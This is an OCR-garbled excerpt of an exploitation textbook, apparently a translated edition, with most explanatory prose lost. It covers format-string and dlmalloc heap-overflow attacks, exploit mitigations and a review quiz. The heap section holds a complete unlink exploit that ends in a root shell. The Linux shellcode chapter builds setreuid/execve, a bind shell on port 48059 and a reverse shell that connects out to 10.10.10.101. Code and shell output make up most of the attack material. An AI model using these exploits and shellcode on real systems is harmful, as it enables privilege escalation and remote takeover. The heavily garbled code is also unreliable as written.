$ ./fntstr ‘printf

"\ x1e\ x95\ x04\ x08\ x1c\ x95\ x04\ x08"* % 49143x%H\ $hn% 16209x%b\ $hn
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
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000000000000000000000000

<truncat ed>
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000648

Canary at 0x08049440 = 0x00000000

sh- 2. 05b# whoamni

root

sh-2.05b# id -u

0

sh-2. 05b# exit

exit

$

[1]

[2]
[3]

[4]
[5]

(6]
[7]

Global offset table
Glaobal function pointers

atexit atexit handlers

Stack values
Program - specific authentication variables

Blaess, Grenier, and Raynal, "Secure Programming, Part 4" WWW.cgsecurity.org/
Articles/SecProg/Art4/

DangerDuo, "When Code Goes Wrong" http://ebcvg.com/articles.php?id=45

Juan M. Béllo Rivas, "Overwriting the .dtors Section” www.cash.sopot.kill.pl/
bufer/dtors.txt

Team Teso explanation  www.cs.ucsh.edu/~jzhou/security/formats-teso.html

Jon Erickson, Hacking: The Art of Exploitation (San Francisco: No Starch Press,
2003)

Koziol et al., The Shellcoder's Handbook (Indianapolis: Wiley Publishing, 2004)
Hoglund and McGraw, Exploiting Software: How to Break Code (Boston:
Addison-Wesley, 2004)

247
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9.2
>
Wilderness
9.2
wilderness wilderness
9.2.1
9.2
# cat heapl.c
/] heapl.c
#i ncl ude <stdio. h>
#i ncl ude <stdlib. h>
#i ncl ude <uni std. h>
#i ncl ude <string. h>
#defi ne BUFSI ZE 10 //
#define OVERSI ZE 5 /* buf 2 OVERSI ZE */
int main(){
u_long diff;
char *bufl = (char *)mall oc(BUFSI ZE); // 10
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char *buf2 = (char *)mall oc(BUFSI ZE); // 10

di ff=(u_l ong) buf 2- (u_l ong) buf1; //
printf("diff = %l bytes\n",diff); //
strcat (buf 2, " AAAAAAAAAAY) ; /] buf 2 A

printf("buf 2 before heap overflow = %\n", buf2); //
menset (buf 1, "B, (u_int)(diff+OVERSIZE));// B buf 1
printf("buf 2 after heap overflow = %\n", buf2); //

return O;

10 buf2 bufl
buf2 A buf2
memset bufl B B bufl  buf2
5 bufl 5 bufl
buf2

# gcc -0 heapl heapl.c

# ./heapl

diff = 16 bytes

buf 2 before heap overfl ow = AAAAAAAAAA
buf 2 after heap overfl ow = BBBBBAAAAA
#

memset buf2 5

data bss

x86

ep
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[ ]
bss af
° ID effective user ID EUID ID
[ ]
9.2.2 malloc
malloc
shrk()
mmap malloc
malloc

GNU LibC (Linux, Hurd)
Solaris, IRIX
BSD,AlX (compatibility)
MS Windows
AIX (default)

Linux
9.2.3 dimalloc

DouglLea libc malloc

dimalloc

malloc

Doug Lea's malloc (dimalloc)
SystemV (AT&T) malloc
BSD phk, kingsley

RtlHeap

Yorktown

dimalloc

Linux

“ quality of service ”
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[ ]
[ ]

8 malloc()

8
dimalloc “ "
malloc.c
struct mal | oc_chunk {
size_t prev_size;, [/
size_t size; /1 +
struct mall oc_chunk *fd; /1
struct mall oc_chunk *bk; /1
I
4 4

fd__ptr bk__ptr
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malloc()
malloc(26)
“ " 4 32 8
8 113 ”
dimalloc
° PREV_INUSE
1
° mmap
dimalloc 0
[ ]
Bins
bins
128 hins 512
“ o 64 bins bin 16 512
8 512 64 bins
bins
bins wilderness
bins 0
wilderness bin
dimalloc
malloc()
malloc() bins

malloc()
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1. bins bin

16
16

3. bins
wilderness wilderness malloc sbrk()
sbrk() malloc

Ea

NULL
calloc()

calloc() malloc() calloc()

realloc()

realloc()

free()

free()
frontlink() bin  free()

bin
U] frontlink()
bin
° wilderness
wilderness

bins frontlink()
bin
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bin bin unlinking
malloc.c  unlink
#define unlink( P, BK, FD) { [//P BK FD
BK = P->bk; /11
FD = P->fd; /12
FD- >bk = BK; /13
BK->fd = FD; /14
}
unlink()
Bin
//// \\\\
7
// \\
7/ \
4 <
—P fd__ptr fd__ptr fd__ptr —p
< bk__ptr S bk__ptr ] bk__ptr <
>\\ ///
—>
——— >
9.24

unlink() Solar Designer

unlink()
prev_size 3

size fd ptr bk_ptr
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freg()
unlink()
bin bin
freg() unlink()
unlink() freg()
size
free size
freg()
fd_ptr bk _ptr
freg()
buf2
bufl
4 freg()
bin prev_size
4 free ()
bins size
12 “ \xeb\x0c” unlink
fd 8-11 shellcode
shellcode 12
12
Shellcode
bufl 4
0 Oxfffffffc
-4 Oxfffffffc size
dimalloc dimalloc
4 Oxfffffffc size
PREV_INUSE 0
-2 fd_ptr

free() call-12
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U] bk_ptr shellcode
° NULL \0
#
# cat heap2.c
#/ | heap2. c
#i ncl ude <stdlib. h>
#incl ude <string. h>
int min( int argc, char * argv[] ){
char * bufl = mall oc(300);
char * buf2 = mall oc(20);

strcpy( bufl, argv[l1l] );

free(bufl);

free(buf2);

return(0);
}

malloc() 300
300+4 8 304 ! argv[1]
bufl bufl

buf2
# gcc -0 heap2 heap2.c
# chnod u+s heap2
# 1s -1 heap2
- TWST - XTI - X 1 root r oot 4430 Jun 22 02: 13 heap2
#

shell  Perl

Global offset table GOT

objdump - R GOT
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free()

# objdunp -R ./heap2 |grep free
08049548 R 386_JUMP_SLOT free

free()
8 8 free()
Itrace
tar -xzvf < tar >
cd < >
./configure
.| make
./ make instal
Itrace strace
buf1 bufl malloc( 300)
# ltrace ./ heap2 2>&1 | grep 300
mal | oc(300) = 0x8049560

257
free()

shellcode

unlink ()

$ cat heap2_exploit.c
// heap2_exploit.c

#i ncl ude <string. h>
#i ncl ude <uni std. h>

#defi ne FUNCTI ON_PO NTER ( 0x08049548 ) /1 objdunmp
#defi ne CODE_ADDRESS ( 0x08049560 + 2*4 ) // Itrace

/1
#define VULN SI ZE 312 1/ -4 + 12
#define PREV_| NUSE Ox1
int i

char buf[1000];
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char shell code[] =
/* 12 12 */
"\ xeb\ xOcppppssssffff"
/* Al ephl shell code */

"\ x31\ xc0\ x31\ xdb\ xb0\ x17\ xcd\ x80"

"\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xc0\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ xOb"
"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ xOc\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd"
\ x80\ xe8\ xdc\ xf f \xf f \xf f/bin/sh";

int main( void ){
int filler_len= (VULN_SIZE - 4*4) - (2*4 + strlen(shellcode));

strcat (buf, "\ xff\xff\xff\xff"); /1
strcat (buf, "\ xff\xff\xff\xff"); I
strcat (buf, shellcode); //shell code buf 8
11 buf 1
for(i=0; i < filler_len; i++)
strcat (buf, "B");
strcat (buf, "\ xf O\ xff\xff\xff");// buf2 prev_size

strcat (buf, "\ xfc\xff\xff\xff");// buf2 size
int t=strlen(buf);
/* free()
>> */

for (i=t;i< (t+4); i++)

buf [i]=((unsigned | ong) (FUNCTI ON_PO NTER-12) ?(i*8)) &255;
I shel | code
for (i=(t+4);i<(t+8); i++)

buf [i] = ((unsigned | ong) CODE_ADDRESS ?(i*8)) &255;

buf [t+8]="\0 ;

execl ("./heap2", "heap2", buf, NULL); 1/
return(0);

$ gcc -0 heap2_exploit heap2_exploit.c
$ ./ heap2_exploit

sh-2. 05b# whoam

r oot

sh-2. 05b# exit

exit

$
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bufl
9.2.5
frontlink()
frontlink() “ " Phrack 57:8
frontlink()
frontlink()
.dtor
.dtor root

[1] Aleph One, "Smashing the Stack" www.mindsec.com/files/p49-14.txt

[2] Jon Erickson, Hacking: The Art of Exploitation (San Francisco: No Starch Press,
2003)

[3] Kozidl et d., The Shellcoder’'s Handbook (Indianapolis. Wiley Publishing, 2004)

[4] Hoglund and McGraw, Exploiting Software: How to Break Code (Boston:
Addison-Wesley, 2004)

[5]

www.phrack.org/show.php?p=57& a=9
www.phrack.org/show.php?p=57& a=8

http://neworder.box. sk/newsread print.php?newsid=7394
www.mit.edu/iap/2004/expl oits/expl oits02.pdf

www.dsi net.org/textfiles/coding/w00w00-heap-overflows.txt
www.auto.tuwien.ac.at/~chris/teaching/slides/HeapOverflow.pdf
http://artofhacking.com/files/phrack/phrack61/P61-0X 06.TX T
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9.3

9.3.1 Libsafe
Libsafe
* strepy()

e dtrcat()

e gsprintf(), vsprintf()
e getwd()

* gets()
e realpath()
e fscanf(), scanf(), sscanf()

Libsafe libc

9.3.2 GRSecurity

GRSecurity

Openwall

libc
libc”
Openwall ep libc
shellcode libc C system()
exit() system()
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system()
/bin/sh
mmap()
GRSecurity “ libc” libc
mmap () system ()
system ()
PaX
PaX
pagetableentry PTE
dataand instruction tranglation look-aside buffers TLB  TLB
TLB TLB
PTE PaX TLB
/

/
9.3.3 Stackshield

Stackshield gce

gce shieldgcc
9.34
Stackguard ~ PaX Libsafe Openwall mmap

0

Stackguard
Pax
Libsafe
Openwall

mmap()

261
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9.4

[1]

[2]
[3]
[4]

"A Buffer Overflow Study: Attacks and Defenses'’

http://downl oads.securityfocus.comvVlibrary/report.pdf

Jon Erickson, Hacking: The Art of Exploitation (San Francisco: No Starch Press, 2003)
Koziol et al., The Shellcoder’'s Handbook (Indianapolis: Wiley Publishing, 2004)
Hoglund and McGraw, Exploiting Software: How to Break Code (Boston:
Addison-Wesley, 2004)

> printf(var)
>
» %s
» %n
> ef .dtors
>
>
> sbrk()  mmap()
> malloc
> Linux DouglLea malloc dimalloc
’ bins

’ dimalloc  unlink ()
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’ Libsafe Stackshield

> GRSecurity Openwall
PaX TLB
mmap() “ libc”
94.1
1
A. PaX B. GRSecurity C. Random Stackshield D. Libsafe
2.
A. B
C. D
3. %3%$s
A. B
C. D
4.
A. B. bk_ptr
C. fd_ptr D. fd_ptr  bk_ptr
5. ef .dtor
A. B
C. D
6. size

>
w



3 101

264
7.
A.
B.
C.
D.
8.
$ objdunp -s -j .dtors ./dtor
./dtor: file format el f32-i 386
Contents of section .dtors:
8049500 ffffffff 86830408 00000000  ............
A. Jdtor deconstructor
B. Jdtor deconstructor
C. Jdtor destructor
D Jdtor destructor
9.4.2
1. A PaX TLB
2.B bin fd_ptr
size prev_size
bk _ptr
3. B %s 3%
4, A
5.D df .dtor C
.ctor
6. C dimalloc size PREV_INUSE
7. D
8 A 8049500 ffffffff 86830408 00000000 fffffff .dtor

00000000 .dtor destructor
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Lnux Shelkode

Lnhux shelkode

° Lihux shelkode
>
> exit
> setreud
> execve shell shelkode
> shelkode

e | hux socket

> socket
> shelkode
° shelkode
> C shell
> shell
Alephl  shellcode
shellcode shellcode shellcode

shellcode
shellcode
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10.1 Linux Shellcode
shellcode
shell shellcode shellcode
shellcode
° C
C
10.1.1
° “ o
Linux

$cat /usr/include/ asm unistd.h
#i fndef _ASM |386_UNI STD H_
#define _ASM |386_UNI STD H_

/ *

* */
#define _ NR exit 1
#define _ NR fork

#define _ NR read 3

N
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#define _ NR wite 4
#define __NR open 5
#define _ NR cl ose 6
#define _ NR waitpid 7
#define _ NR creat 8
#define _ NR |ink 9

#define _ NR unlink 10
#define _ NR execve 11
#define _ NR chdir 12
#define _ NR tine 13
#define __ NR nknod 14
#define _ NR chnod 15
#define __NR_| chown 16
#define __NR break 17
#define __NR ol dst at 18
#define _ NR | seek 19
#define _ NR getpid 20
#define _ NR nount 21
#define _ NR unount 22
#define _  NR setuid 23
#define _ _NR getuid 24
#define _ _NR stine 25
#define _ _NR setreuid 70
#define _ _NR_socketcall 102
#define _ _NR exi t_group 252
C
C
C
execve
$man 2 execve
EXECVE( 2) Li nux Programmer’s Manual EXECVE( 2)

NAME
execve - execute program
SYNOPSI S
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#i ncl ude <uni std. h>

int execve(const char *filename, char *const argv [],

char *const envp[]);
DESCRI PTI ON

execve() executes the programpointedto by filenane. filenane nust
be either a binary executable, or a script startingwith aline of the form
"#! interpreter [arg]”. Inthelatter case, theinterpreter nust be avalid
pat hnane f or an executabl e whichis not itself ascript, whichw |l beinvoked
as interpreter [arg] filename.

argv i s an array of argunent strings passed to the new program envp
is an array of strings, conventionally of the formkey=val ue, which are
passed as environnment to the new program Both, argv and envp nust be
terminated by a NULL pointer. The argunent vector and envi-execve() does
not return on success, and the text, data, bss, and stack of the calling

process are overwitten by that of the program |oaded. The program
i nvoked inherits the calling process’s PID, and any open file descriptors
that are not set to cl ose on exec. Si gnal s pending on the calling process

are cleared. Any signals set to be caught by the calling process are reset
to their default behaviour.

® eax unistd.h
® ehx
® ecx
* edx

int 0x80

Interrupt Descriptor Table IDT
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10.1.2 Exit
exit(0) exit
e eax O0Ox01 unistd.h
e ehx 0
C
C
exit (0)
$ cat exit.c
#i ncl ude <stdlib. h>
mai n() {
exit(0); w
}
- static exit
$ gce -static -0 exit exit.c
glibc - static - devel
/fusr/bin/ld: cannot find -lc
rpm -static
exit - static
-q gdb main
r disass _exit _exit
$ gdb exit -q
(gdb) b main
Breakpoint 1 at 0x80481d6
(gdb) r
Starting program /root/book/chapt10/exit
Breakpoint 1 , 0x080481d6 in main ()
(gdb) disass _exit
Dunp of assenbler code for function _exit:
0x804ch56¢c <_ exit>: nov 0x4(%esp, 1), Y%ebx
0x804c570 <_ exit+4>: nov $0xf c, Y%eax
0x804c575 <_ exit +9>: i nt $0x80

0x804c577 <_ exit+11>: nov $0x1, %eax
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0x804c57¢c <_ exit+16>: i nt $0x80
0x804c57e < _ exit+18>: hl t
0x804c57f <_ exit+19>: nop
End of assenbl er dunp, (gdb) q
A debuggi ng session is active
Do you still want to close the debugger?(y or n) y
$
ebx 0 _exit+11
Ox1 eax _exit+16 int $0x80
exit_group Oxfc 252 exit_group ()
Linux libc
shellcode shellcode
exit(0)
$cat exit.asm
section .text ; code section
gl obal _start
274
_start: ;
Xor eax, eax ; eax
xor ebx, ebx ; ebx
nmov al, 0x01 ; 24
int 0x80 ;
exit_group(0)
NULL
mov al, 0x01
NULL B8 01 00 00 00
4 1 eax 8
0 move ax, 0
NULL shellcode

NULL
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nasm Id
$nasm -f elf exit.asm
$I1dexit.o -0 exit
$ ./exit
$
exit (0)
strace
strace
$ strace ./exit
execve(./exit, [./exit], [/* 26 vars */]) =0
_exit(0) =7
_exit (0)
10.1.3 setreuid
8 SUID SUID
setreuid
ID
setreuid
root(0) setreuid(0,0)
e eax O0x46 70 unistd.h
e ehbx ID ruid 0x0
® ecx id euid 0x0

setreuid(0,0)
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$ cat setreuid.asm
section .text ;
gl obal _start ;

code section

_start: ;
Xor eax, eax ; eax
nmov al, 0x46 ;
xor ebx, ebx ; ebx
X0r ecx, ecx ; ecx
int 0x80 ;
nov al, 0x01
int 0x80

ebx

nasm Id

$ nasm-f elf setreuid.asm

$1d -0 setreuid setreuid.o

$ ./setreuid
$

strace

$ strace ./setreuid

execve(./setreuid, [./setreuid],

setreui d(0, 0)
_exit(0)

10.1.4 Shellcode

Linux
execve

execve

execve

/bin/sh

70

o

1 exit()

int 0x80
0x0

strace

[/* 26 vars */])

shell

/bin/sh

46

exit(0)

1
o

execve
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char * shell[2]; /1
shel I [0] ="/ bi n/ sh"; /1 "/ bin/sh"
shel | [ 1] ="0"; /1 NULL
execve(shel I [0], shell , NULL) /1 execve
/bin/sh " NULL execve (" /bin/sh ", [ " /bin/sh ", NULL], NULL)
e eax Oxb 11 a Oxb
NULL
e ¢cbx char* " [bin/sh"
® ecx char * argv[] ebx
NULL
e edx OxO char * env [] NULL
“ [bin/sh’
setreuid(0,0) execve" /bin/sh "
$ cat sc2.asm
section .text ; code section
gl obal _start ;
_start: ;
;setreuid (0,0) ;
Xor eax, eax ; eax
nmov al, 0x46 70 46
xor ebx, ebx ebx
XOr ecx, ecx ; ecx
int 0x80 ;
; execve shel | code
X0or eax, eax ; eax 0
push eax ; eax NULL
push 0x68732f 2f ; " [/sh’ B A
push 0x6e69622f ; /bin
mov ebx, esp ; esp " Ibin/sh " esp ebx
push eax ; eax NULL char **argv
push ebx ; /bin/sh’ ebx
nov ecx, esp esp ar gv ecx
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xor edx, edx ; edx NULL
nmov al, Oxb ; 11 b
int 0x80 ;
/bin/sh NULL
/Ish 4 /bin
esp /bin/sh
execve
nasm Id SUID
shellcode
$ nasm-f elf sc2.asm
$1d -0 sc2 sc2.0
$ sudo chown root sc2
$ sudo chnod +s sc2
$ ./sc2
sh-2. 05b# exit
exit
$
shellcode
objdump -d

$ objdump -d ./sc2
./sc2: file format el f32-i 386
Di sassenbly of section .text:
08048080 < start>
8048080 31 cO xor Y%eax, Yeax
8048082 bO 46 nmov $Ox46, Ya
8048084 31 db xor %ebx, Yebx
8048086 31 c¢9 xor %ecx, Yecx
8048088 cd 80 i nt $Ox80
804808a 31 cO xor Yeax, Yeax
804808c 50 push Yeax
804808d 68 2f 2f 73 68 push $Ox68732f 2f
8048092 68 2f 62 69 6e push $Ox6e69622f
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8048097 89 e3 nov %esp, Y%ebx
8048099 50 push Yeax
804809a 53 push %ebx
804809b 89 el mov %esp, ¥ecx
804809d 31 d2 xor %edx, Yedx
804809f bO O0b nmov $Oxb, Yal
80480al cd 80 i nt $0x80
$
NULL \x00
NULL shellcode
objdump AT&T gas 7
gas nasm
gas
shellcode
shellcode

$ cat sc2.c

char sc[] = [//whitespace, such as carriage returns don't natter
/1 setreuid(0,0)
"\ x31\ xc0" /1 xor Y%eax, Yeax
"\ xbO\ x46" Il nov $0x46, %al
"\ x31\ xdb" /1 xor %ebx, Y%ebx
"\ x31\ xc9" /1 xor %ecx, Yecx
"\ xcd\ x80" /1 int $0x80
/1 execve shel | code
"\ x31\ xc0" /1 xor Y%eax, Yeax
"\ x50" /1 push Y%eax
"\ x68\ x2f \ x2f \ x73\ x68" /1 push $0x68732f 2f
"\ x68\ x2f \ x62\ x69\ x6e" /1 push $0x6e69622f
"\ x89\ xe3" /1 nov %esp, Yebx
"\ x50" /1 push Yeax
"\ x53" /1 push Yebx
"\ x89\ xel" /1l nov %esp, Yecx
"\ x31\ xd2" /1 xor %edx, Yedx
"\ xbO\ x0b" Il nov $0xb, %al
"\ xcd\ x80"; /] int $0x80 ()

mai n()
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{

void (*fp) (void); I fp

fp = (void *)sc; I fp shel | code

fp() ; I shel | code
}

shellcode sc[] main
fp 4
sc[] shellcode
$ gcc -0 sc2 sc2.¢
$ sudo chown root sc2
$ sudo chnod +s sc2
$ ./sc2
sh-2. 05b# exit
exit
shellcode
[1] Aleph One, "Smashing the Stack" www.mindsec.com/files/p49-14.txt
[2] Murat Balaban, "Designing Shellcode Demystified" www.Linuxsecurity.com/
feature_stories/feature_story-122. html
[3] Jon Erickson, Hacking: The Art of Exploitation (San Francisco: No Starch Press,
2003)
[4] Kozidl et d., The Shellcoder’'s Handbook (Indianapolis. Wiley Publishing, 2004)
10.2 shellcode

shellcode shell
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W

[EN
vy

T
N

A
D a
NS

10.2.1 Linux socket

Linux socket
Linux socket
C socket
C socket
#i ncl ude<sys/ socket. h> // socket
#i ncl ude<netinet/in.h> // sockaddr
socket
P
Linux
little-endian notation
IP network byte order
socket sockaddr
sockaddr
C

socket
sockaddr sockaddr

struct sockaddr {
unsi gned short sa_famly; /* */
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char

IP Internet Protocol

sockaddr_in

struct sockaddr_in {

short int sin_famly
unsi gned short int sin_port;
struct in_addr si n_addr;
unsi gned char sin_zero[8];
b
socket
IP
IP
0x0100007F sin_addr 0
8 NULL
socket
socket IP
shell
socket C
1 | P socket
server =socket (2, 1, 0)
2. IP sockaddr_in
struct sockaddr_in serv_addr; /1
serv_addr. si n_addr.s_addr =0; /1
serv_addr. si n_port =0xBBBB; /1
serv_addr.sin_fan | y=2; /1

3. IP

sa_dat a[ 14] ;

socket

socket

/* */
sa_data
sockaddr sockaddr _in
*/
/* */
/* | nternet */
/*8 NULL I P */
0x2
Internet
127.0.0.1
sin_zero
IP
IP
| P/
socket I P
socket 48059
I P

bi nd(server, (struct sockaddr *)&serv_addr, 0x10)
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4, socket
listen(server, 0)
5
client=accept(server, 0, 0)
6. stdin  stdout  stderr
dup2(client, 0), dup2(client, 1), dup2(client, 2)
7. execve shellcode 101
char * shell[2]; /1
shel | [ 0] ="/ bi n/sh"; /1 "/bin/sh "
shel I [1] ="0"; /1 NULL
execve(shel I [0], shell , NULL) /1 execve
port_bind.c
socket C
$ cat ./port_bind.c
#i ncl ude<sys/ socket . h> I socket
#i ncl ude<netinet/in. h> I sockaddr
int main()
{
char * shell[2]; /1 execve
int server,client; /1
struct sockaddr_in serv_addr; /1 I P/
server=socket (2,1, 0); I | Psocket stream TCP
serv_addr. si n_addr.s_addr =0; /'l socket
serv_addr . si n_port =0xBBBB; /1 socket 48059
serv_addr.sin_fam|y=2; /1 I P
bi nd(server, (struct sockaddr *)&serv_addr, 0x10); I socket
listen(server, 0); I
client=accept (server,0,0); /1
/* client stdin stdout stderr */
dup2(client,0); /1 stdin client
dup2(client,1); /1 stdout client
dup2(client,2); /1 stderr client
shel | [ 0] ="/ bi n/ sh"; /| execve
shel | [ 1] =0; /1 NULL
execve(shel I [0], shell, 0); /1 shel
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sockaddr_in socket
server sockaddr_in
sockaddr_in server bind IP
socket
client socket stdin  stdout
stderr shell
10.2.2 socket

socket

® server=socket(2,1,0)

e bind(server,(struct sockaddr *)& serv_addr,0x10)
® |isten(server, 0)

e client=accept(server, 0, 0)

e dup2(client, 0), dup2(client, 1), dup2(client, 2)

e execve "/bin/sh"

socketcall

Linux socket socketcall 102 socketcall

o ¢cbx fusr/include/net.h socket

> SYS_SOCKET

> SYS BIND

> SYS CONNECT
> SYS LISTEN

> SYS ACCEPT

ga b~ W NP

® ecX

socket
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port_bind_asm.asm

48059 |ocalhost
IP shell shell

# cat ./port_bind_asm asm
BITS 32

section .text

gl obal _start

_start:

X0r eax, eax ; eax
xor ebx, ebx ; ebx
xor edx, edx ; edx

; server=socket (2, 1, 0)

push eax ; socket 0

push byte 0x1 ; socket 1

push byte 0x2 ; socket 2

nmov ecx, esp ; socket cal |

inc bl ;. socketcall 1

nmov al , 102 ; socket cal | 1 SYS_SOCKET
int 0x80 ;

mov esi , eax ; eax esi server

; bind(server, (struct sockaddr *)&serv_addr, 0x10)

push edx ;
push | ong 0xBBBB02BB ; 0xBBBB sin.fam|ly: 02
; BB
nov ecx, esp ; ecx
push byte 0x10 ; bi nd 1 16
push ecx ;
push esi ; server esi
nmov ecx, esp ; socket cal |
inc bl i bl 2 socketcal
mov al , 102 ; socket cal | 2 SYS BIND
int 0x80 ;

;listen(server, 0)
push edx ;
push esi ; server es
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nmov ecx, esp ; socket cal |
nmov bl , Ox4 ; bl 4 socket cal
nov al , 102 ; socket cal | 4 SYS_LI STEN
int 0x80 ;
;client=accept(server, 0, 0)
push edx ; accept
push edx ; accept
push esi . server
nmov ecx, esp ; ecx socket cal
inc bl ; bl 5 socket cal
nov al , 102 ; socket cal | 5 SYS_ACCEPT
i nt 0x80 ;
; dup2 client ebx
nmov ebx, eax ; client ebx
;dup2(client, 0)
xor ecx, ecx ; ecx
nmov al , 63 ; 63 dup2
int 0x80 ;
;dup2(client, 1)
inc ecx ; ecx 1
nmov al , 63 ; dup2: 63
i nt 0x80 ;
;dup2(client, 2)
inc ecx ; ecx 2
nmov al , 63 ; dup2: 63
i nt 0x80 ;

; execve("/bin/sh"
push edx

push | ong 0x68732f 2f
push | ong 0x6e69622f
mov  ebx, esp

push edx

push ebx

nov ecx, esp

nov al, OxOb

int 0x80

#



10 Linux Shellcode
283

OxBBBB = 48059

# nasm-f elf port_bind_asmasm
#1d -0 port_bind_asm port_bind_asmo
# ./port_bind_asm

48059 shell

# netstat -pan |grep port_bind_asm
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LI STEN
10656/ port _bi nd

netcat socket
# nc | ocal host 48059
id
ui d=0(root) gid=0(root) groups=0(root)

10.2.3 shellcode

shellcode
shellcode shellcode

objdump

$obj dunp -d ./port_bind_asm

port _bind: file format el f32-i386
Di sassenbly of section .text:
08048080 < start>

8048080: 31 cO xor Y%eax, Yeax
8048082: 31 db xor %ebx, Yebx
8048084: 31 d2 xor %edx, Yedx
8048086: 50 push Y%eax
8048087: 6a 01 push $0x1
8048089: 6a 02 push $0x2

804808b: 89 el nmov %esp, ¥Yecx
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804808d: fe c3 inc %
804808f : b0 66 nov $0x66, %al
8048091: cd 80 i nt $0x80
8048093: 89 6 nmov Y%eax, Yesi
8048095: 52 push Yedx
8048096: 68 aa 02 aa aa push $0xaaaal2aa
804809b: 89 el nmov %esp, ¥Yecx
804809d: 6a 10 push $0x10
8048009f : 51 push %ecxX
80480a0: 56 push %s
80480al: 89 el nmov %esp, Yecx
80480a3: fe c3 inc %
80480a5: b0 66 nov $0x66, %al
80480a7: cd 80 i nt $0x80
80480a9: 52 push %edx
80480aa: 56 push %s
80480ab: 89 el nov %esp, Y%ecx
80480ad: b3 04 nmov $0x4, %
80480af : bO 66 nov $0x66, %a
80480b1: cd 80 i nt $0x80
80480b3: 52 push %edx
80480b4: 52 push Yedx
80480b5: 56 push %s
80480b6: 89 el mov %esp, ¥ecx
80480b8: fe c3 inc %
80480ba: bO 66 nov $0x66, ¥%a
80480bc: cd 80 i nt $0x80
80480be: 89 «¢3 nmov Y%eax, ¥ebx
80480c0: 31 c¢9 xor %ecx, Yecx
80480c2: bo 3f nov $0x3f , Y&
80480c4: cd 80 i nt $0x80
80480c6: 41 inc %eCcx
80480c7: bo 3f nmov $0x3f , %al
80480c9: cd 80 int $0x80
80480ch: 41 inc %ecx
80480cc: bo 3f nov $0x3f , Y&
80480ce: cd 80 i nt $0x80
80480d0: 52 push %edx
80480d1: 68 2f 2f 73 68 push $0x68732f 2f
80480d6: 68 2f 62 69 6e push $0x6e69622f
80480db: 89 e3 nov %esp, Y%ebx
80480dd: 52 push %edx
80480de: 53 push %ebx
80480df : 89 el nmov %esp, ¥Yecx
286
80480e1l: b0 Ob nov $0xb, ¥a
80480e3: cd 80 int $0x80
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NULL \x00
Vi shellcode
port_bind_sc.c
shellcode
shellcode
# cat port_bind_sc.c
char sc[]=1/ shel | code

"\ x31\ xc0\ x31\ xdb\ x31\ xd2\ x50\ x6a\ x01\ x6a\ x02\ x89\ xel\ xf e\ xc3\ xb0"
"\ x66\ xcd\ x80\ x89\ xc6\ x52\ x68\ xbb\ x02\ xbb\ xbb\ x89\ xel\ x6a\ x10\ x51"
"\ x56\ x89\ xel\ xf e\ xc3\ xb0O\ x66\ xcd\ x80\ x52\ x56\ x89\ xel\ xb3\ x04\ xb0"
"\ x66\ xcd\ x80\ x52\ x52\ x56\ x89\ xel\ xf e\ xc3\ xb0O\ x66\ xcd\ x80\ x89\ xc3"
"\ x31\ xc9\ xb0O\ x3f \ xcd\ x80\ x41\ xbO\ x3f \ xcd\ x80\ x41\ xb0O\ x3f \ xcd\ x80"
"\ x52\ x68\ x2f \ x2f \ x73\ x68\ x68\ x2f \ x62\ x69\ x6e\ x89\ xe3\ x52\ x53\ x89"

"\ xel\ xbO\ xOb\ xcd\ x80 " ;
mai n(){
void (*fp) (void); /1 fp
fp = (void *)sc; /1 fp shel | code
fp(); /1 shel | code

# gcc -0 port_bind_sc port_bind_sc.c
# ./port_bind_sc
shell socket shellcode
OxBBBB 48059
# netstat -pan |grep port_bind_sc

tcp 0 0 0.0.0.0:48059 0.0.0.0:* LI STEN
2132 6/ port_bind_sc

TIMEWAIT  FINWAIT TCP

# su joeuser
$ nc | ocal host 48059
id
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uid=0(root) gid=0(root) groups=0(root)
exit
$
[1] Smiler, "TheArt of Writing Shellcode”  www.mindsec.com/files/art-shellcode.txt
[2] Zzillion, "Writing Shellcode”  www.safemode.org/files/zillion/shellcode/doc/
Writing_shellcode.html
[3] Sean Walton, Linux Socket Programming (Indianapolis. SAMS Publishing, 2001)
10.3 shellcode
IP shell
1 —>
2. shell —
10.3.1 C
1 connect bind listen  accept
2. sockaddr
3. stdin stdout  stderr socket client

$ cat reverse_connect.c
#i ncl ude<sys/ socket . h> I
#i ncl ude<netinet/in. h>
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int main()
{
char * shell[2];
int soc, renote; 1/
struct sockaddr_in serv_addr;
serv_addr.sin_fanly=2; /1 sockaddr_in
serv_addr.sin_addr.s_addr =0x650A0A0A; /110.10.10.101
serv_addr. si n_port =0xBBBB; /1 48059
soc=socket (2, 1, 0);
renote = connect(soc, (struct sockaddr*)&serv_addr, 0x10);
dup2(soc, 0); /1 socket
dup2(soc, 1); Il socket
dup2(soc, 2); I socket
shel | [ 0] ="/ bi n/ sh"; /1 execve
shel | [ 1] =0;
execve(shel 1 [ 0], shel |, 0); /1
}
IP
0 127.0.0.1 shellcode
IP
C 10.10.10.101 shell
$ nc -nlvv -p 48059
listening on [any] 48059 ...
- nlvv DNS netcat
# gcc -0 reverse_connect reverse_connect.c
# ./reverse_connect
shell
connect to [10.10.10.101] from (UNKNOAN) [10.10.10.101] 38877

id;
uid=0(root) gid=0(root) groups=0(root)
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10.3.2

port_bind_asm.asm

$ cat ./reverse_connect_asm asm
BITS 32

section .text

gl obal _start

_start:

Xor eax, eax ; eax
xor ebx, ebx ; ebx
xor edx, edx ; edx

;socket (2,1, 0)

push eax ;. socket 0

push byte 0x1 ; socket 1

push byte 0x2 ; socket 2

nmov ecx, esp ; ecx socketcal

inc bl ; socket cal | 1

nov al , 102 ; socket cal | 1 SYS _SOCKET
i nt 0x80 ;

nmov esi , eax ; eax es

; connect bind listen accept
;client=connect (server, (struct sockaddr *)&serv_addr, 0x10)
push edx ;

push | ong Ox650A0A0A ;

push word OxBBBB ; 48059

xor ecx, ecx ; ecx sa_famly
nmov cl,2 ; ecx 2

push word cx ; sin. famly

nov ecx, esp ; ecx

push byte 0x10 ; connect 16

push ecx ;

push esi ; esi

nmov ecx, esp ; ecx socketcal
